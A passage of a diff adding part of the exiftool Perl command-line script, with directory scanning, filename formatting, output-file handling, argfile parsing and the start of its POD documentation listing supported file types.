++$progressCount; + if ($progress) { + if ($progressCount >= $progressNext) { + $progStr = " [$progressCount/$progressMax]"; + } else { + undef $progStr; # don't update progress yet + } + } + } + if ($et->IsDirectory($file) and not $listDir) { + $multiFile = $validFile = 1; + ScanDir($et, $file, $list); + } elsif ($filterFlag and not AcceptFile($file)) { + if ($et->Exists($file)) { + $filtered = 1; + Progress($vout, "-------- $file (wrong extension)") if $verbose; + } else { + Warn "Error: File not found - $file\n"; + FileNotFound($file); + $rtnVal = 1; + } + } else { + $validFile = 1; + if ($list) { + push(@$list, $file); + } else { + if (%endDir) { + my ($d, $f) = Image::ExifTool::SplitFileName($file); + next if $endDir{$d}; + } + GetImageInfo($et, $file); + $end and Warn("End called - $file\n"); + if ($endDir) { + Warn("EndDir called - $file\n"); + my ($d, $f) = Image::ExifTool::SplitFileName($file); + $endDir{$d} = 1; + undef $endDir; + } + } + } + $et->Options(CharsetFileName => $enc) if $utf8FileName{$file}; + last if $end; + } +} + +#------------------------------------------------------------------------------ +# Scan directory for image files +# Inputs: 0) ExifTool ref, 1) directory name, 2) list ref to return file names +sub ScanDir($$;$) +{ + local $_; + my ($et, $dir, $list) = @_; + my (@fileList, $done, $file, $utf8Name, $winSurrogate, $endThisDir); + my $enc = $et->Options('CharsetFileName'); + # recode as UTF-8 if necessary + if ($enc) { + unless ($enc eq 'UTF8') { + $dir = $et->Decode($dir, $enc, undef, 'UTF8'); + $et->Options(CharsetFileName => 'UTF8'); # now using UTF8 + } + $utf8Name = 1; + } + return if $ignore{$dir}; + # use Win32::FindFile on Windows if available + # (ReadDir will croak if there is a wildcard, so check for this) + if ($^O eq 'MSWin32' and $dir !~ /[*?]/) { + undef $evalWarning; + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] };; + if (CheckUTF8($dir, $enc) >= 0) { + if (eval { require Win32::FindFile }) { + eval { + @fileList = Win32::FindFile::ReadDir($dir); + $_ = $_->cFileName foreach @fileList; + }; + $@ and $evalWarning = $@; + if ($evalWarning) { + chomp $evalWarning; + $evalWarning =~ s/ at .*//s; + Warning($et,"[Win32::FindFile] $evalWarning - $dir"); + $winSurrogate = 1 if $evalWarning =~ /surrogate/; + } else { + $et->Options(CharsetFileName => 'UTF8'); # now using UTF8 + $utf8Name = 1; # ReadDir returns UTF-8 file names + $done = 1; + } + } else { + $done = 0; + } + } + } + unless ($done) { + # use standard perl library routines to read directory + unless (opendir(DIR_HANDLE, $dir)) { + Warn("Error opening directory $dir\n"); + return; + } + @fileList = readdir(DIR_HANDLE); + closedir(DIR_HANDLE); + if (defined $done) { + # issue warning if some names would have required Win32::FindFile + foreach $file ($dir, @fileList) { + next unless $file =~ /[\?\x80-\xff]/; + WarnOnce("Install Win32::FindFile to support Windows Unicode file names in directories\n"); + last; + } + } + } + $dir =~ /\/$/ or $dir .= '/'; # make sure directory name ends with '/' + foreach $file (@fileList) { + my $path = "$dir$file"; + if ($et->IsDirectory($path)) { + next unless $recurse; + # ignore directories starting with "." by default + next if $file =~ /^\./ and ($recurse == 1 or $file eq '.' or $file eq '..'); + next if $ignore{$file} or ($ignore{SYMLINKS} and -l $path); + ScanDir($et, $path, $list); + last if $end; + next; + } + next if $endThisDir; + next if $ignoreHidden and $file =~ /^\./; # ignore hidden files if specified + # apply rules from -ext options + my $accepted; + if ($filterFlag) { + $accepted = AcceptFile($file) or next; + # must be specifically accepted to bypass selection logic + $accepted &= 0x01; + } + unless ($accepted) { + # read/write this file if it is a supported type + if ($scanWritable) { + if ($scanWritable eq '1') { + next unless CanWrite($file); + } else { + my $type = GetFileType($file); + next unless defined $type and $type eq $scanWritable; + } + } elsif (not GetFileType($file)) { + next unless $doUnzip; + next unless $file =~ /\.(gz|bz2)$/i; + } + } + # Windows patch to avoid replacing filename containing Unicode surrogate with 8.3 name + if ($winSurrogate and $isWriting and + (not $overwriteOrig or $overwriteOrig != 2) and + not $doSetFileName and $file =~ /~/) # (8.3 name will contain a tilde) + { + Warn("Not writing $path\n"); + WarnOnce("Use -overwrite_original_in_place to write files with Unicode surrogate characters\n"); + EFile($file); + ++$countBad; + next; + } + $utf8FileName{$path} = 1 if $utf8Name; + if ($list) { + push(@$list, $path); + } else { + GetImageInfo($et, $path); + if ($end) { + Warn("End called - $file\n"); + last; + } + if ($endDir) { + $path =~ s(/$)(); + Warn("EndDir called - $path\n"); + $endDir{$path} = 1; + $endThisDir = 1; + undef $endDir; + } + } + } + ++$countDir; + $et->Options(CharsetFileName => $enc); # restore original setting +} + +#------------------------------------------------------------------------------ +# Find files with wildcard expression on Windows +# Inputs: 0) ExifTool ref, 1) file name with wildcards +# Returns: list of matching file names +# Notes: +# 1) Win32::FindFile must already be loaded +# 2) Sets flag in %utf8FileName for each file found +sub FindFileWindows($$) +{ + my ($et, $wildfile) = @_; + + # recode file name as UTF-8 if necessary + my $enc = $et->Options('CharsetFileName'); + $wildfile = $et->Decode($wildfile, $enc, undef, 'UTF8') if $enc and $enc ne 'UTF8'; + $wildfile =~ tr/\\/\//; # use forward slashes + my ($dir, $wildname) = ($wildfile =~ m{(.*[:/])(.*)}) ? ($1, $2) : ('', $wildfile); + if ($dir =~ /[*?]/) { + Warn "Wildcards don't work in the directory specification\n"; + return (); + } + CheckUTF8($wildfile, $enc) >= 0 or return (); + undef $evalWarning; + local $SIG{'__WARN__'} = sub { $evalWarning = $_[0] }; + my @files; + eval { + my @names = Win32::FindFile::FindFile($wildfile) or return; + # (apparently this isn't always sorted, so do a case-insensitive sort here) + @names = sort { uc($a) cmp uc($b) } @names; + my ($rname, $nm); + # replace "\?" with ".", and "\*" with ".*" for regular expression + ($rname = quotemeta $wildname) =~ s/\\\?/./g; + $rname =~ s/\\\*/.*/g; + foreach $nm (@names) { + $nm = $nm->cFileName; + # make sure that FindFile behaves + # (otherwise "*.jpg" matches things like "a.jpg_original"!) + next unless $nm =~ /^$rname$/i; + next if $nm eq '.' or $nm eq '..'; # don't match "." and ".." + my $file = "$dir$nm"; # add back directory name + push @files, $file; + $utf8FileName{$file} = 1; # flag this file name as UTF-8 encoded + } + }; + $@ and $evalWarning = $@; + if ($evalWarning) { + chomp $evalWarning; + $evalWarning =~ s/ at .*//s; + Warn "Error: [Win32::FindFile] $evalWarning - $wildfile\n"; + undef @files; + EFile($wildfile); + ++$countBad; + } + return @files; +} + +#------------------------------------------------------------------------------ +# Handle missing file on the command line +# Inputs: 0) file name +sub FileNotFound($) +{ + my $file = shift; + if ($file =~ /^(DIR|FILE)$/) { + my $type = { DIR => 'directory', FILE => 'file' }->{$file}; + Warn qq{You were meant to enter any valid $type name, not "$file" literally.\n}; + } +} + +#------------------------------------------------------------------------------ +# Patch for OS X 10.6 to preserve file modify date +# (this probably isn't a 100% fix, but it may solve a majority of the cases) +sub PreserveTime() +{ + local $_; + $mt->SetFileTime($_, @{$preserveTime{$_}}) foreach keys %preserveTime; + undef %preserveTime; +} + +#------------------------------------------------------------------------------ +# Return absolute path for a file +# Inputs: 0) file name +# Returns: absolute path string, or undef if path could not be determined +# Note: Warnings should be suppressed when calling this routine +sub AbsPath($) +{ + my $file = shift; + my $path; + if (defined $file and eval { require Cwd }) { + $path = eval { Cwd::abs_path($file) }; + # make the delimiters and case consistent + # (abs_path is very inconsistent about what it returns in Windows) + if (defined $path and $hasBackslash{$^O}) { + $path =~ tr/\\/\//; + $path = lc $path; + } + } + return $path; +} + +#------------------------------------------------------------------------------ +# Convert file name to ExifTool Charset +# Inputs: 0) ExifTool ref, 1) file name in CharsetFileName +# Returns: file name in ExifTool Charset +sub MyConvertFileName($$) +{ + my ($et, $file) = @_; + my $enc = $et->Options('CharsetFileName'); + $et->Options(CharsetFileName => 'UTF8') if $utf8FileName{$file}; + my $convFile = $et->ConvertFileName($file); + $et->Options(CharsetFileName => $enc) if $utf8FileName{$file}; + return $convFile; +} + +#------------------------------------------------------------------------------ +# Add print format entry +# Inputs: 0) expression string +sub AddPrintFormat($) +{ + my $expr = shift; + my $type; + if ($expr =~ /^#/) { + $expr =~ s/^#\[(HEAD|SECT|IF|BODY|ENDS|TAIL)\]// or return; # ignore comments + $type = $1; + } else { + $type = 'BODY'; + } + $printFmt{$type} or $printFmt{$type} = [ ]; + push @{$printFmt{$type}}, $expr; + # add to list of requested tags + push @requestTags, $expr =~ /\$\{?((?:[-\w]+:)*[-\w?*]+)/g; + $printFmt{SetTags} = 1 if $expr =~ /\bSetTags\b/; +} + +#------------------------------------------------------------------------------ +# Get suggested file extension based on tag value for binary output +# Inputs: 0) ExifTool ref, 1) data ref, 2) tag name +# Returns: file extension (lower case), or 'dat' if unknown +sub SuggestedExtension($$$) +{ + my ($et, $valPt, $tag) = @_; + my $ext; + if (not $binaryOutput) { + $ext = 'txt'; + } elsif ($$valPt =~ /^\xff\xd8\xff/) { + $ext = 'jpg'; + } elsif ($$valPt =~ /^(\0\0\0\x0cjP( |\x1a\x1a)\x0d\x0a\x87\x0a|\xff\x4f\xff\x51\0)/) { + $ext = 'jp2'; + } elsif ($$valPt =~ /^(\x89P|\x8aM|\x8bJ)NG\r\n\x1a\n/) { + $ext = 'png'; + } elsif ($$valPt =~ /^GIF8[79]a/) { + $ext = 'gif'; + } elsif ($$valPt =~ /^<\?xpacket/ or $tag eq 'XMP') { + $ext = 'xmp'; + } elsif ($$valPt =~ /^<\?xml/ or $tag eq 'XML') { + $ext = 'xml'; + } elsif ($$valPt =~ /^RIFF....WAVE/s) { + $ext = 'wav'; + } elsif ($tag eq 'OriginalRawImage' and defined($ext = $et->GetValue('OriginalRawFileName'))) { + $ext =~ s/^.*\.//s; + $ext = $ext ? lc($ext) : 'raw'; + } elsif ($tag eq 'EXIF') { + $ext = 'exif'; + } elsif ($tag eq 'ICC_Profile') { + $ext = 'icc'; + } elsif ($$valPt =~ /^(MM\0\x2a|II\x2a\0)/) { + $ext = 'tiff'; + } elsif ($$valPt =~ /^.{4}ftyp(3gp|mp4|f4v|qt )/s) { + my %movType = ( 'qt ' => 'mov' ); + $ext = $movType{$1} || $1; + } elsif ($$valPt !~ /^.{0,4096}\0/s) { + $ext = 'txt'; + } elsif ($$valPt =~ /^BM.{15}\0/s) { + $ext = 'bmp'; + } elsif ($$valPt =~ /^CANON OPTIONAL DATA\0/) { + $ext = 'vrd'; + } elsif ($$valPt =~ /^IIII\x04\0\x04\0/) { + $ext = 'dr4'; + } elsif ($$valPt =~ /^(.{10}|.{522})(\x11\x01|\x00\x11)/s) { + $ext = 'pict'; + } elsif ($$valPt =~ /^\xff\x0a|\0\0\0\x0cJXL \x0d\x0a......ftypjxl/s) { + $ext = 'jxl'; + } elsif ($$valPt =~ /^.{4}jumb\0.{3}jumdc2pa/s) { + $ext = 'c2pa'; + } elsif ($tag eq 'JUMBF') { + $ext = 'jumbf'; + } else { + $ext = 'dat'; + } + return $ext; +} + +#------------------------------------------------------------------------------ +# Load print format file +# Inputs: 0) file name, 1) flag to avoid adding newline to input argument +# - saves lines of file to %printFmt list +# - adds tag names to @tags list +sub LoadPrintFormat($;$) +{ + my ($arg, $noNL) = @_; + if (not defined $arg) { + Error "Must specify file or expression for -p option\n"; + } elsif ($arg !~ /\n/ and -f $arg and $mt->Open(\*FMT_FILE, $arg)) { + foreach () { + AddPrintFormat($_); + } + close(FMT_FILE); + } else { + $arg .= "\n" unless $noNL; + AddPrintFormat($arg); + } +} + +#------------------------------------------------------------------------------ +# A sort of sprintf for filenames +# Inputs: 0) format string (%d=dir, %f=file name, %e=ext), +# 1) source filename or undef to test format string +# 2-4) [%t %g %s %o only] tag name, ref to array of group names, +# suggested extension, original raw file name +# Returns: new filename or undef on error (or if no file and fmt contains token) +sub FilenameSPrintf($;$@) +{ + my ($fmt, $file, @extra) = @_; + local $_; + # return format string straight away if no tokens + return $fmt unless $fmt =~ /%[-+]?\d*[.:]?\d*[lu]?[dDfFeEtgso]/; + return undef unless defined $file; + CleanFilename($file); # make sure we are using forward slashes + # split filename into directory, file, extension + my %part; + @part{qw(d f E)} = ($file =~ /^(.*?)([^\/]*?)(\.[^.\/]*)?$/); + defined $part{f} or Warn("Error: Bad pattern match for file $file\n"), return undef; + if ($part{E}) { + $part{e} = substr($part{E}, 1); + } else { + @part{qw(e E)} = ('', ''); + } + $part{F} = $part{f} . $part{E}; + ($part{D} = $part{d}) =~ s{/+$}{}; + @part{qw(t g s o)} = @extra; + my ($filename, $pos) = ('', 0); + while ($fmt =~ /(%([-+]?)(\d*)([.:]?)(\d*)([lu]?)([dDfFeEtgso]))/g) { + $filename .= substr($fmt, $pos, pos($fmt) - $pos - length($1)); + $pos = pos($fmt); + my ($sign, $wid, $dot, $skip, $mod, $code) = ($2, $3, $4, $5 || 0, $6, $7); + my (@path, $part, $len, $groups); + if (lc $code eq 'd' and $dot and $dot eq ':') { + # field width applies to directory levels instead of characters + @path = split '/', $part{$code}; + $len = scalar @path; + } else { + if ($code eq 'g') { + $groups = $part{g} || [ ] unless defined $groups; + $fmt =~ /\G(\d?)/g; # look for %g1, %g2, etc + $part{g} = $$groups[$1 || 0]; + $pos = pos($fmt); + } + $part{$code} = '' unless defined $part{$code}; + $len = length $part{$code}; + } + next unless $skip < $len; + $wid = $len - $skip if $wid eq '' or $wid + $skip > $len; + $skip = $len - $wid - $skip if $sign eq '-'; + if (@path) { + $part = join('/', @path[$skip..($skip+$wid-1)]); + $part .= '/' unless $code eq 'D'; + } else { + $part = substr($part{$code}, $skip, $wid); + } + $part = ($mod eq 'u') ? uc($part) : lc($part) if $mod; + $filename .= $part; + } + $filename .= substr($fmt, $pos); # add rest of file name + # remove double slashes (except at beginning to allow Windows UNC paths) + $filename =~ s{(?!^)//}{/}g; + return $filename; +} + +#------------------------------------------------------------------------------ +# Convert number to alphabetical index: a, b, c, ... z, aa, ab ... +# Inputs: 0) number +# Returns: alphabetical index string +sub Num2Alpha($) +{ + my $num = shift; + my $alpha = chr(97 + ($num % 26)); + while ($num >= 26) { + $num = int($num / 26) - 1; + $alpha = chr(97 + ($num % 26)) . $alpha; + } + return $alpha; +} + +#------------------------------------------------------------------------------ +# Expand '%c' and '%C' codes if filename to get next unused file name +# Inputs: 0) file name format string, 1) filename ok to use even if it exists +# Returns: new file name +sub NextUnusedFilename($;$) +{ + my ($fmt, $okfile) = @_; + return $fmt unless $fmt =~ /%[-+]?\d*\.?\d*[lun]?[cC]/; + my %sep = ( '-' => '-', '+' => '_' ); + my ($copy, $alpha) = (0, 'a'); + for (;;) { + my ($filename, $pos) = ('', 0); + while ($fmt =~ /(%([-+]?)(\d*)(\.?)(\d*)([lun]?)([cC]))/g) { + $filename .= substr($fmt, $pos, pos($fmt) - $pos - length($1)); + $pos = pos($fmt); + my ($sign, $wid, $dec, $wid2, $mod, $tok) = ($2, $3 || 0, $4, $5 || 0, $6, $7); + my $seq; + if ($tok eq 'C') { + $seq = $wid + ($sign eq '-' ? $seqFileDir : $seqFileNum) - 1; + $wid = $wid2; + } else { + next unless $dec or $copy; + $wid = $wid2 if $wid < $wid2; + # add dash or underline separator if '-' or '+' specified + $filename .= $sep{$sign} if $sign; + } + if ($mod and $mod ne 'n') { + my $a = $tok eq 'C' ? Num2Alpha($seq) : $alpha; + my $str = ($wid and $wid > length $a) ? 'a' x ($wid - length($a)) : ''; + $str .= $a; + $str = uc $str if $mod eq 'u'; + $filename .= $str; + } else { + my $c = $tok eq 'C' ? $seq : $copy; + my $num = $c + ($mod ? 1 : 0); + $filename .= $wid ? sprintf("%.${wid}d",$num) : $num; + } + } + $filename .= substr($fmt, $pos); # add rest of file name + # return now with filename unless file exists + return $filename unless ($mt->Exists($filename, 1) and not defined $usedFileName{$filename}) or $usedFileName{$filename}; + if (defined $okfile) { + return $filename if $filename eq $okfile; + my ($fn, $ok) = (AbsPath($filename), AbsPath($okfile)); + return $okfile if defined $fn and defined $ok and $fn eq $ok; + } + ++$copy; + ++$alpha; + } +} + +#------------------------------------------------------------------------------ +# Create directory for specified file +# Inputs: 0) complete file name including path +# Returns: true if a directory was created +my $k32CreateDir; +sub CreateDirectory($) +{ + my $file = shift; + my ($dir, $created); + ($dir = $file) =~ s/[^\/]*$//; # remove filename from path specification + if ($dir and not $mt->IsDirectory($dir)) { + my @parts = split /\//, $dir; + $dir = ''; + foreach (@parts) { + $dir .= $_; + if (length $dir and not $mt->IsDirectory($dir) and + # don't try to create a network drive root directory + not ($hasBackslash{$^O} and $dir =~ m{^//[^/]*$})) + { + my $success; + # create directory since it doesn't exist + my $d2 = $dir; # (must make a copy in case EncodeFileName recodes it) + if ($mt->EncodeFileName($d2)) { + # handle Windows Unicode directory names + unless (eval { require Win32::API }) { + Error('Install Win32::API to create directories with Unicode names'); + return 0; + } + unless ($k32CreateDir) { + $k32CreateDir = Win32::API->new('KERNEL32', 'CreateDirectoryW', 'PP', 'I'); + } + $success = $k32CreateDir->Call($d2, 0) if $k32CreateDir; + } else { + $success = mkdir($d2, 0777); + } + $success or Error("Error creating directory $dir\n"), return 0; + $verbose and print $vout "Created directory $dir\n"; + $created = 1; + } + $dir .= '/'; + } + ++$countNewDir if $created; + } + return $created; +} + +#------------------------------------------------------------------------------ +# Open output text file +# Inputs: 0) file name format string, 1-N) extra arguments for FilenameSPrintf +# Returns: 0) file reference (or undef on error), 1) file name if opened, 2) append flag +# Notes: returns reference to STDOUT and no file name if no textOut file needed +sub OpenOutputFile($;@) +{ + my ($file, @args) = @_; + my ($fp, $outfile, $append); + if ($textOut) { + $outfile = $file; + CleanFilename($outfile); + if ($textOut =~ /%[-+]?\d*[.:]?\d*[lun]?[dDfFeEtgsocC]/ or defined $tagOut) { + # make filename from printf-like $textOut + $outfile = FilenameSPrintf($textOut, $file, @args); + return () unless defined $outfile; + $outfile = NextUnusedFilename($outfile); + CreateDirectory($outfile); # create directory if necessary + } else { + $outfile =~ s/\.[^.\/]*$//; # remove extension if it exists + $outfile .= $textOut; + } + my $mode = '>'; + if ($mt->Exists($outfile, 1)) { + unless ($textOverwrite) { + Warn "Output file $outfile already exists for $file\n"; + return (); + } + if ($textOverwrite == 2 or ($textOverwrite == 3 and $created{$outfile})) { + $mode = '>>'; + $append = 1; + } + } + unless ($mt->Open(\*OUTFILE, $outfile, $mode)) { + my $what = $mode eq '>' ? 'creating' : 'appending to'; + Error("Error $what $outfile\n"); + return (); + } + binmode(OUTFILE) if $binaryOutput; + $fp = \*OUTFILE; + } else { + $fp = \*STDOUT; + } + return($fp, $outfile, $append); +} + +#------------------------------------------------------------------------------ +# Filter files based on extension +# Inputs: 0) file name +# Returns: 0 = rejected, 1 = specifically accepted, 2 = accepted by default +# Notes: This routine should only be called if $filterFlag is set +sub AcceptFile($) +{ + my $file = shift; + my $ext = ($file =~ /^.*\.(.+)$/s) ? uc($1) : ''; + return $filterExt{$ext} if defined $filterExt{$ext}; + return $filterExt{'*'} if defined $filterExt{'*'}; + return 0 if $filterFlag & 0x02; # reject if accepting specific extensions + return 2; # accept by default +} + +#------------------------------------------------------------------------------ +# Slurp file into buffer +# Inputs: 0) file name, 1) buffer reference +# Returns: 1 on success +sub SlurpFile($$) +{ + my ($file, $buffPt) = @_; + $mt->Open(\*INFILE, $file) or Warn("Error opening file $file\n"), return 0; + binmode(INFILE); + # (CAREFUL!: must clear buffer first to reset possible utf8 flag because the data + # would be corrupted if it was read into a buffer which had the utf8 flag set!) + undef $$buffPt; + my $bsize = 1024 * 1024; + my $num = read(INFILE, $$buffPt, $bsize); + unless (defined $num) { + close(INFILE); + Warn("Error reading $file\n"); + return 0; + } + my $bmax = 64 * $bsize; + while ($num == $bsize) { + $bsize *= 2 if $bsize < $bmax; + my $buff; + $num = read(INFILE, $buff, $bsize); + last unless $num; + $$buffPt .= $buff; + } + close(INFILE); + return 1; +} + + +#------------------------------------------------------------------------------ +# Filter argfile line +# Inputs: 0) line of argfile +# Returns: filtered line or undef to ignore +sub FilterArgfileLine($) +{ + my $arg = shift; + if ($arg =~ /^#/) { # comment lines begin with '#' + return undef unless $arg =~ s/^#\[CSTR\]//; + $arg =~ s/[\x0d\x0a]+$//s; # remove trailing newline + # escape double quotes, dollar signs and ampersands if they aren't already + # escaped by an odd number of backslashes, and escape a single backslash + # if it occurs at the end of the string + $arg =~ s{\\(.)|(["\$\@]|\\$)}{'\\'.($2 || $1)}sge; + # un-escape characters in C string + my %esc = ( a => "\a", b => "\b", f => "\f", n => "\n", + r => "\r", t => "\t", '"' => '"', '\\' => '\\' ); + $arg =~ s/\\(.)/$esc{$1}||'\\'.$1/egs; + } else { + $arg =~ s/^\s+//; # remove leading white space + $arg =~ s/[\x0d\x0a]+$//s; # remove trailing newline + # remove white space before, and single space after '=', '+=', '-=' or '<=' + $arg =~ s/^(-[-:\w]+#?)\s*([-+<]?=) ?/$1$2/; + return undef if $arg eq ''; + } + return $arg; +} + +#------------------------------------------------------------------------------ +# Read arguments from -stay_open argfile +# Inputs: 0) argument list ref +# Notes: blocks until -execute, -stay_open or -@ option is available +# (or until there was an error reading from the file) +sub ReadStayOpen($) +{ + my $args = shift; + my (@newArgs, $processArgs, $result, $optArgs); + my $lastOpt = ''; + my $unparsed = length $stayOpenBuff; + for (;;) { + if ($unparsed) { + # parse data already read from argfile + $result = $unparsed; + undef $unparsed; + } else { + # read more data from argfile + # - this read may block (which is good) if reading from a pipe + $result = sysread(STAYOPEN, $stayOpenBuff, 65536, length($stayOpenBuff)); + } + if ($result) { + my $pos = 0; + while ($stayOpenBuff =~ /\n/g) { + my $len = pos($stayOpenBuff) - $pos; + my $arg = substr($stayOpenBuff, $pos, $len); + $pos += $len; + $arg = FilterArgfileLine($arg); + next unless defined $arg; + push @newArgs, $arg; + if ($optArgs) { + # this is an argument for the last option + undef $optArgs; + next unless $lastOpt eq '-stay_open' or $lastOpt eq '-@'; + } else { + $lastOpt = lc $arg; + $optArgs = $optArgs{$arg}; + unless (defined $optArgs) { + $optArgs = $optArgs{$lastOpt}; + # handle options with trailing numbers + $optArgs = $optArgs{"$1#$2"} if not defined $optArgs and $lastOpt =~ /^(.*?)\d+(!?)$/; + } + next unless $lastOpt =~ /^-execute\d*$/; + } + $processArgs = 1; + last; # process arguments up to this point + } + next unless $pos; # nothing to do if we didn't read any arguments + # keep unprocessed data in buffer + $stayOpenBuff = substr($stayOpenBuff, $pos); + if ($processArgs) { + # process new arguments after -execute or -stay_open option + unshift @$args, @newArgs; + last; + } + } elsif ($result == 0) { + # sysread() didn't block (eg. when reading from a file), + # so wait for a short time (1/100 sec) then try again + # Note: may break out of this early if SIGCONT is received + select(undef,undef,undef,0.01); + } else { + Warn "Error reading from ARGFILE\n"; + close STAYOPEN; + $stayOpen = 0; + last; + } + } +} + +#------------------------------------------------------------------------------ +# Add new entry to -efile output file +# Inputs: 0) file name, 1) -efile option number (0=error, 1=same, 2=failed, 3=updated, 4=created) +sub EFile($$) +{ + my $entry = shift; + my $efile = $efile[shift || 0]; + if (defined $efile and length $entry and $entry ne '-') { + my $err; + CreateDirectory($efile); + if ($mt->Open(\*EFILE_FILE, $efile, '>>')) { + print EFILE_FILE $entry, "\n" or Warn("Error writing to $efile\n"), $err = 1; + close EFILE_FILE; + } else { + Warn("Error opening '${efile}' for append\n"); + $err = 1; + } + if ($err) { + defined $_ and $_ eq $efile and undef $_ foreach @efile; + } + } +} + +#------------------------------------------------------------------------------ +# Print progress message if it is time for it +# Inputs: 0) file ref, 1) message +sub Progress($$) +{ + my ($file, $msg) = @_; + if (defined $progStr) { + print $file $msg, $progStr, "\n"; + undef $progressNext if defined $progressMax; + } +} + +#------------------------------------------------------------------------------ +# Print list of tags +# Inputs: 0) message, 1-N) list of tag names +sub PrintTagList($@) +{ + my $msg = shift; + print $msg, ":\n" unless $quiet; + my $tag; + if ($outFormat < 0 and $msg =~ /file extensions$/ and @_) { + foreach $tag (@_) { + printf(" %-11s %s\n", $tag, GetFileType($tag, 1)); + } + return; + } + my ($len, $pad) = (0, $quiet ? '' : ' '); + foreach $tag (@_) { + my $taglen = length($tag); + if ($len + $taglen > 77) { + print "\n"; + ($len, $pad) = (0, $quiet ? '' : ' '); + } + print $pad, $tag; + $len += $taglen + 1; + $pad = ' '; + } + @_ or print $pad, '[empty list]'; + print "\n"; +} + +#------------------------------------------------------------------------------ +# Print warnings and errors from info hash +# Inputs: 0) ExifTool object ref, 1) info hash, 2) file name +# Returns: true if there was an Error +sub PrintErrors($$$) +{ + my ($et, $info, $file) = @_; + my ($tag, $key); + foreach $tag (qw(Warning Error)) { + next unless $$info{$tag}; + my @keys = ( $tag ); + push @keys, sort(grep /^$tag /, keys %$info) if $et->Options('Duplicates'); + foreach $key (@keys) { + Warn "$tag: $info->{$key} - $file\n"; + } + } + return $$info{Error}; +} + +__END__ + +=head1 NAME + +exiftool - Read and write meta information in files + +=head1 SYNOPSIS + +=head2 Reading + +B [I] [-I...] [--I...] I... + +=head2 Writing + +B [I] -I[+-E]=[I]... I... + +=head2 Copying + +B [I] B<-tagsFromFile> I +[-[IE]I...] I... + +=head2 Other + +B [ B<-ver> | +B<-list>[B|B|B|B|B[I]|B|B|B] ] + +For specific examples, see the L sections below. + +This documentation is displayed if exiftool is run without an input I +when one is expected. + +=head1 DESCRIPTION + +A command-line interface to L, used for +reading and writing meta information in a variety of file types. I is +one or more source file names, directory names, or C<-> for the standard +input. Metadata is read from source files and printed in readable form to +the console (or written to output text files with B<-w>). + +To write or delete metadata, tag values are assigned using +-I=[I], and/or the B<-geotag>, B<-csv=> or B<-json=> options. +To copy or move metadata, the B<-tagsFromFile> feature is used. By default +the original files are preserved with C<_original> appended to their names +-- be sure to verify that the new files are OK before erasing the originals. +Once in write mode, exiftool will ignore any read-specific options. + +Note: If I is a directory name then only supported file types in the +directory are processed (in write mode only writable types are processed). +However, files may be specified by name, or the B<-ext> option may be used +to force processing of files with any extension. Hidden files in the +directory are also processed. Adding the B<-r> option causes subdirectories +to be processed recursively, but subdirectories with names beginning with +"." are skipped unless B<-r.> is used. + +Below is a list of file types and meta information formats currently +supported by ExifTool (r = read, w = write, c = create): + + File Types + ------------+-------------+-------------+-------------+------------ + 360 r/w | DOCX r | ITC r | NUMBERS r | RAW r/w + 3FR r | DPX r | J2C r | NXD r | RIFF r + 3G2 r/w | DR4 r/w/c | JNG r/w | O r | RSRC r + 3GP r/w | DSS r | JP2 r/w | ODP r | RTF r + 7Z r | DV r | JPEG r/w | ODS r | RW2 r/w + A r | DVB r/w | JSON r | ODT r | RWL r/w + AA r | DVR-MS r | JXL r/w | OFR r | RWZ r + AAC r | DYLIB r | K25 r | OGG r | RM r + AAE r | EIP r | KDC r | OGV r | SEQ r + AAX r/w | EPS r/w | KEY r | ONP r | SKETCH r + ACR r | EPUB r | LA r | OPUS r | SO r + AFM r | ERF r/w | LFP r | ORF r/w | SR2 r/w + AI r/w | EXE r | LIF r | ORI r/w | SRF r + AIFF r | EXIF r/w/c | LNK r | OTF r | SRW r/w + APE r | EXR r | LRV r/w | PAC r | SVG r + ARQ r/w | EXV r/w/c | M2TS r | PAGES r | SWF r + ARW r/w | F4A/V r/w | M4A/V r/w | PBM r/w | THM r/w + ASF r | FFF r/w | MACOS r | PCD r | TIFF r/w + AVI r | FITS r | MAX r | PCX r | TORRENT r + AVIF r/w | FLA r | MEF r/w | PDB r | TTC r + AZW r | FLAC r | MIE r/w/c | PDF r/w | TTF r + BMP r | FLIF r/w | MIFF r | PEF r/w | TXT r + BPG r | FLV r | MKA r | PFA r | VCF r + BTF r | FPF r | MKS r | PFB r | VNT r + C2PA r | FPX r | MKV r | PFM r | VRD r/w/c + CHM r | GIF r/w | MNG r/w | PGF r | VSD r + COS r | GLV r/w | MOBI r | PGM r/w | WAV r + CR2 r/w | GPR r/w | MODD r | PLIST r | WDP r/w + CR3 r/w | GZ r | MOI r | PICT r | WEBP r/w + CRM r/w | HDP r/w | MOS r/w | PMP r | WEBM r + CRW r/w | HDR r | MOV r/w | PNG r/w | WMA r + CS1 r/w | HEIC r/w | MP3 r | PPM r/w | WMV r + CSV r | HEIF r/w | MP4 r/w | PPT r | WPG r + CUR r | HTML r | MPC r | PPTX r | WTV r + CZI r | ICC r/w/c | MPG r | PS r/w | WV r + DCM r | ICO r | MPO r/w | PSB r/w | X3F r/w + DCP r/w | ICS r | MQV r/w | PSD r/w | XCF r + DCR r | IDML r | MRC r | PSP r | XISF r + DFONT r | IIQ r/w | MRW r/w | QTIF r/w | XLS r + DIVX r | IND r/w | MXF r | R3D r | XLSX r + DJVU r | INSP r/w | NEF r/w | RA r | XMP r/w/c + DLL r | INSV r | NKA r | RAF r/w | ZIP r + DNG r/w | INX r | NKSC r/w | RAM r | + DOC r | ISO r | NRW r/w | RAR r | + + Meta Information + ----------------------+----------------------+--------------------- + EXIF r/w/c | CIFF r/w | Ricoh RMETA r + GPS r/w/c | AFCP r/w | Picture Info r + IPTC r/w/c | Kodak Meta r/w | Adobe APP14 r + XMP r/w/c | FotoStation r/w | MPF r + MakerNotes r/w/c | PhotoMechanic r/w | Stim r + Photoshop IRB r/w/c | JPEG 2000 r | DPX r + ICC Profile r/w/c | DICOM r | APE r + MIE r/w/c | Flash r | Vorbis r + JFIF r/w/c | FlashPix r | SPIFF r + Ducky APP12 r/w/c | QuickTime r | DjVu r + PDF r/w/c | Matroska r | M2TS r + PNG r/w/c | MXF r | PE/COFF r + Canon VRD r/w/c | PrintIM r | AVCHD r + Nikon Capture r/w/c | FLAC r | ZIP r + GeoTIFF r/w/c | ID3 r | (and more) + +=head1 OPTIONS + +Case is not significant for any command-line option (including tag and group +names), except for single-character options when the corresponding +upper-case option exists. Many single-character options have equivalent +long-name versions (shown in brackets), and some options have inverses which +are invoked with a leading double-dash. Unrecognized options are +interpreted as tag names (for this reason, multiple single-character options +may NOT be combined into one argument). Contrary to standard practice, +options may appear after source file names on 